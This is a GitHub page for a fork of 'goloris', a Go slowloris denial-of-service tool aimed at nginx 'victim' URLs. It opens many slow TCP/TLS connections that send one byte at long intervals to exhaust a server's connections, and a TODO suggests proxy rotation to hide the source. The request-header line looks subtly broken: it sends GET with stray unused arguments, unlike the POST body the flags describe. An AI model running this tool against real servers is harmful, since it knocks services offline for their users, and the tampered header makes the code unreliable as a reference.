forked from valyala/goloris
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgoloris.go
162 lines (144 loc) · 4.83 KB
/
goloris.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
// Goloris - slowloris[1] for nginx.
//
// The original source code is available at http://github.com/valyala/goloris.
//
package main
import (
"crypto/tls"
"flag"
"fmt"
"io"
"log"
"net"
"net/url"
"runtime"
"strings"
"time"
)
var (
contentLength = flag.Int("contentLength", 1000*1000, "The maximum length of fake POST body in bytes. Adjust to nginx's client_max_body_size")
dialWorkersCount = flag.Int("dialWorkersCount", 10, "The number of workers simultaneously busy with opening new TCP connections")
goMaxProcs = flag.Int("goMaxProcs", runtime.NumCPU(), "The maximum number of CPUs to use. Don't touch :)")
rampUpInterval = flag.Duration("rampUpInterval", time.Second, "Interval between new connections' acquisitions for a single dial worker (see dialWorkersCount)")
sleepInterval = flag.Duration("sleepInterval", 10*time.Second, "Sleep interval between subsequent packets sending. Adjust to nginx's client_body_timeout")
testDuration = flag.Duration("testDuration", time.Hour, "Test duration")
victimUrl = flag.String("victimUrl", "http://127.0.0.1/", "Victim's url. Http POST must be allowed in nginx config for this url")
hostHeader = flag.String("hostHeader", "", "Host header value in case it is different than the hostname in victimUrl")
)
var (
sharedReadBuf = make([]byte, 4096)
sharedWriteBuf = []byte("A")
tlsConfig = &tls.Config{
InsecureSkipVerify: true,
}
)
func main() {
flag.Parse()
flag.VisitAll(func(f *flag.Flag) {
fmt.Printf("%s=%v\n", f.Name, f.Value)
})
runtime.GOMAXPROCS(*goMaxProcs)
victimUri, err := url.Parse(*victimUrl)
if err != nil {
log.Fatalf("Cannot parse victimUrl=[%s]: [%s]\n", victimUrl, err)
}
victimHostPort := victimUri.Host
if !strings.Contains(victimHostPort, ":") {
port := "80"
if victimUri.Scheme == "https" {
port = "443"
}
victimHostPort = net.JoinHostPort(victimHostPort, port)
}
host := victimUri.Host
if len(*hostHeader) > 0 {
host = *hostHeader
}
requestHeader := []byte(fmt.Sprintf("GET %s HTTP/1.1\nUserAgent: user-agent\n",
victimUri.RequestURI(), host, *contentLength))
dialWorkersLaunchInterval := *rampUpInterval / time.Duration(*dialWorkersCount)
activeConnectionsCh := make(chan int, *dialWorkersCount)
go activeConnectionsCounter(activeConnectionsCh)
for i := 0; i < *dialWorkersCount; i++ {
go dialWorker(activeConnectionsCh, victimHostPort, victimUri, requestHeader)
time.Sleep(dialWorkersLaunchInterval)
}
time.Sleep(*testDuration)
}
func dialWorker(activeConnectionsCh chan<- int, victimHostPort string, victimUri *url.URL, requestHeader []byte) {
isTls := (victimUri.Scheme == "https")
for {
time.Sleep(*rampUpInterval)
conn := dialVictim(victimHostPort, isTls)
if conn != nil {
go doLoris(conn, victimUri, activeConnectionsCh, requestHeader)
}
}
}
func activeConnectionsCounter(ch <-chan int) {
var connectionsCount int
for n := range ch {
connectionsCount += n
log.Printf("Holding %d connections\n", connectionsCount)
}
}
func dialVictim(hostPort string, isTls bool) io.ReadWriteCloser {
// TODO hint: add support for dialing the victim via a random proxy
// from the given pool.
conn, err := net.Dial("tcp", hostPort)
if err != nil {
log.Printf("Couldn't esablish connection to [%s]: [%s]\n", hostPort, err)
return nil
}
tcpConn := conn.(*net.TCPConn)
if err = tcpConn.SetReadBuffer(128); err != nil {
log.Fatalf("Cannot shrink TCP read buffer: [%s]\n", err)
}
if err = tcpConn.SetWriteBuffer(128); err != nil {
log.Fatalf("Cannot shrink TCP write buffer: [%s]\n", err)
}
if err = tcpConn.SetLinger(0); err != nil {
log.Fatalf("Cannot disable TCP lingering: [%s]\n", err)
}
if !isTls {
return tcpConn
}
tlsConn := tls.Client(conn, tlsConfig)
if err = tlsConn.Handshake(); err != nil {
conn.Close()
log.Printf("Couldn't establish tls connection to [%s]: [%s]\n", hostPort, err)
return nil
}
return tlsConn
}
func doLoris(conn io.ReadWriteCloser, victimUri *url.URL, activeConnectionsCh chan<- int, requestHeader []byte) {
defer conn.Close()
if _, err := conn.Write(requestHeader); err != nil {
log.Printf("Cannot write requestHeader=[%v]: [%s]\n", requestHeader, err)
return
}
activeConnectionsCh <- 1
defer func() { activeConnectionsCh <- -1 }()
readerStopCh := make(chan int, 1)
go nullReader(conn, readerStopCh)
for i := 0; i < *contentLength; i++ {
select {
case <-readerStopCh:
return
case <-time.After(*sleepInterval):
}
if _, err := conn.Write(sharedWriteBuf); err != nil {
log.Printf("Error when writing %d byte out of %d bytes: [%s]\n", i, *contentLength, err)
return
}
}
}
func nullReader(conn io.Reader, ch chan<- int) {
defer func() { ch <- 1 }()
n, err := conn.Read(sharedReadBuf)
if err != nil {
log.Printf("Error when reading server response: [%s]\n", err)
} else {
log.Printf("Unexpected response read from server: [%s]\n", sharedReadBuf[:n])
}
}